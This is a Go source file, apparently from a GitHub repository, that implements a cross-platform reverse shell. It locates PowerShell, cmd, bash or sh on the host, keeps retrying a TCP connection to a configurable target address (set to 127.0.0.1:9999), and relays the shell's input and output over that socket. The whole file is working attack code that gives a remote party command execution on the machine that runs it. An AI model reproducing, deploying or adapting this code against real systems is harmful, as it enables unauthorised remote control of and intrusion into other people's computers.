-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathshell.go
159 lines (144 loc) · 2.71 KB
/
shell.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
package main
import (
"fmt"
"net"
"os"
"os/exec"
"runtime"
"time"
)
var Target = "127.0.0.1:9999"
var BufferSize = 128
func findShell() string {
shells := []string{}
if runtime.GOOS == "windows" {
shells = []string{
"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
"C:\\Windows\\System32\\cmd.exe",
}
} else {
shells = []string{
"/usr/local/bin/bash",
"/usr/bin/bash",
"/bin/bash",
"/bin/sh",
}
}
for _, path := range shells {
_, err := os.Stat(path)
if err == nil {
return path
}
}
return ""
}
func connectBack(address string) net.Conn {
for {
connection, err := net.Dial("tcp", address)
if err == nil {
return connection
}
fmt.Printf("connect back: %v\n", err)
time.Sleep(3 * time.Second)
}
}
func executeShell(shell string, input <-chan []byte, output chan<- []byte, errors chan<- error) {
command := exec.Command(shell)
stdin, err := command.StdinPipe()
if err != nil {
errors <- err
return
}
stdout, err := command.StdoutPipe()
if err != nil {
errors <- err
return
}
stderr, err := command.StderrPipe()
if err != nil {
errors <- err
return
}
go func() {
for {
select {
case data := <-input:
_, err := stdin.Write(data)
if err != nil {
errors <- err
return
}
}
}
}()
go func() {
for {
buf := make([]byte, BufferSize)
_, err := stdout.Read(buf)
if err != nil {
errors <- err
return
}
output <- buf
}
}()
go func() {
for {
buf := make([]byte, BufferSize)
_, err := stderr.Read(buf)
if err != nil {
errors <- err
return
}
output <- buf
}
}()
command.Run()
}
func receiveInput(connection net.Conn, input chan<- []byte, errors chan<- error) {
for {
data := make([]byte, BufferSize)
connection.SetReadDeadline(time.Now().Add(1 * time.Second))
_, err := connection.Read(data)
if err != nil && !os.IsTimeout(err) {
errors <- err
return
}
input <- data
}
}
func sendOutput(connection net.Conn, output <-chan []byte, errors chan<- error) {
for {
select {
case data := <-output:
connection.SetWriteDeadline(time.Now().Add(1 * time.Second))
_, err := connection.Write(data)
if err != nil && !os.IsTimeout(err) {
errors <- err
return
}
}
}
}
func main() {
shell := findShell()
if shell == "" {
fmt.Println("no shell executable found")
os.Exit(1)
}
for {
input := make(chan []byte)
output := make(chan []byte)
errors := make(chan error)
connection := connectBack(Target)
defer connection.Close()
go executeShell(shell, input, output, errors)
go receiveInput(connection, input, errors)
go sendOutput(connection, output, errors)
select {
case err := <-errors:
fmt.Println(err)
break
}
}
}